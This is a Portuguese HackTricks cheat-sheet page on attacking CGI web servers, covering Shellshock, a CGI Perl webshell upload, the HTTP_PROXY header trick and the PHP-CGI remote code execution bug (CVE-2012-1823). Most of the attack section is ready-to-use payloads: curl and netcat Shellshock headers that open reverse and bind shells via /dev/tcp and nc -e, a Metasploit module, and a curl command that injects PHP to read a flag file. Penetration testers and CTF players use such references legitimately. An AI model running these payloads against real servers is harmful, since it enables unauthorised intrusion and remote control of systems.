6.9 KiB
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o material oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao grupo 💬 Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do HackTricks e HackTricks Cloud.
Informação
Os scripts CGI são scripts perl, então, se você comprometeu um servidor que pode executar scripts .cgi, você pode fazer upload de um reverse shell perl `/usr/share/webshells/perl/perl-reverse-shell.pl`
, mudar a extensão de .pl para .cgi, dar permissões de execução `chmod +x`
e acessar o reverse shell pelo navegador web para executá-lo.
Para testar vulnerabilidades CGI é recomendado usar nikto -C all
e todos os plugins
ShellShock
Bash também pode ser usado para executar comandos passados a ele por aplicações e é essa funcionalidade que a vulnerabilidade afeta. Um tipo de comando que pode ser enviado ao Bash permite que variáveis de ambiente sejam definidas. Variáveis de ambiente são valores dinâmicos e nomeados que afetam a maneira como processos são executados em um computador. A vulnerabilidade está no fato de que um atacante pode adicionar código malicioso à variável de ambiente, que será executado assim que a variável for recebida.
Explorando essa vulnerabilidade, a página pode exibir um erro.
Você pode encontrar essa vulnerabilidade notando que está sendo usada uma versão antiga do Apache e cgi_mod com pasta cgi
ou usando nikto.
Teste
A maioria dos testes é baseada em ecoar algo e esperar que essa string seja retornada na resposta web. Se você acha que uma página pode ser vulnerável, procure por todas as páginas cgi e teste-as.
Nmap
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
Curl (refletido, cego e fora de banda)
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
Exploração
#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run
Proxy (MitM para requisições ao servidor Web)
CGI cria uma variável de ambiente para cada cabeçalho na requisição http. Por exemplo: "host:web.com" é criado como "HTTP_HOST"="web.com"
Como a variável HTTP_PROXY poderia ser usada pelo servidor web. Tente enviar um cabeçalho contendo: "Proxy: <IP_atacante>:<PORT>" e se o servidor realizar alguma requisição durante a sessão. Você poderá capturar cada requisição feita pelo servidor.
PHP Antigo + CGI = RCE CVE-2012-1823, CVE-2012-2311
Basicamente se cgi está ativo e o php é "antigo" <5.3.12 / < 5.4.2
você pode executar código.
Para explorar essa vulnerabilidade você precisa acessar algum arquivo PHP do servidor web sem enviar parâmetros especialmente sem enviar o caractere "="
.
Então, para testar essa vulnerabilidade, você poderia acessar por exemplo /index.php?-s
note o `-s`
e o código fonte da aplicação aparecerá na resposta.
Então, para obter RCE você pode enviar esta consulta especial: /?-d allow_url_include=1 -d auto_prepend_file=php://input
e o código PHP a ser executado no corpo da requisição.
Exemplo:
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
Mais informações sobre a vulnerabilidade e possíveis exploits: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, Exemplo de Writeup de CTF.
Aprenda a hackear AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o merchandising oficial do PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao grupo do 💬 Discord ou ao grupo do telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do HackTricks e HackTricks Cloud.